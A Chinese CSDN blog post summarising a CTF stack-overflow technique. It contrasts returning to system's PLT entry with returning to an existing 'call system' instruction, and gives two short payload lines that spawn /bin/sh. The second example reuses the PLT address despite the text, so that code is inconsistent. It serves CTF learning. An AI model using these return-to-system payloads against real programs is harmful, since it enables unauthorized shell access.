【PWN · 总结】call _system与system调用

最新推荐文章于 2023-09-08 21:55:10 发布

Mr_Fmnwon

最新推荐文章于 2023-09-08 21:55:10 发布

阅读量628

点赞数 4

分类专栏：【PWN · 总结】文章标签： gadget call system ctf pwn

原文链接：https://blog.csdn.net/Morphy_Amo/article/details/121757953?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522169069841816800188572413%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=169069841816800188572413&biz_id=0&utm_med

版权

【PWN · 总结】专栏收录该内容

2 篇文章 1 订阅

订阅专栏

文章探讨了在栈溢出漏洞利用中，使用call_system与直接调用system的plt地址的区别。call_system可以节省栈空间，因为返回地址的push操作在调用后发生，而直接调用system需要在payload中包含返回地址和参数。文章提供了构造payload的例子，并指导如何通过交叉引用找到相关代码段进行分析。

摘要由CSDN通过智能技术生成

call _system 相比于直调system，可以节省栈空间哦~

前言

栈溢出漏洞但是限制溢出字符数，倒逼我们减少溢出内容。

习题：NSSCTF | 在线CTF平台

构造payload的时候有两种方式构造
第一种，溢出后的返回地址是system的地址，也就是plt表中system的地址
system_addr = 0x08048320
binsh_addr = 0x0804a024
payload = 'a' * (0x88 + 4) + p32(system_addr) + p32(0)  + p32(binsh_addr)
第二种，溢出后的返回地址是call system的地址，这是程序中出现过的调用system的地址
system_addr = 0x08048320
binsh_addr = 0x0804a024
payload = 'a' * (0x88 + 4) + p32(system_addr) + p32(binsh_addr)

为什么调用system的plt地址时，要比调用call system的调用地址时多构造四个字节？

首先，我们想要程序执行的是
system('/bin/sh');
合法的程序在编译这一步时，实际上执行的是
lea eax, [address_binsh_str]
push eax
call system
进一步对call指令进行分解，执行call指令相当于
push ip					;执行system_addr之后的返回地址
jmp system_addr
因此，直接调用system函数时，在system地址后面要接上一个返回地址，再接上system函数的参数

而如果调用的是call system的话，返回到call system之后，才会执行push ip的操作，这个时候的push操作不需要我们关心，因此payload直接就是call_system_addr + binsh_addr
————————————————
版权声明：本文为CSDN博主「Morphy_Amo」的原创文章，遵循CC 4.0 BY-SA版权协议，转载请附上原文出处链接及本声明。
原文链接：https://blog.csdn.net/Morphy_Amo/article/details/121757953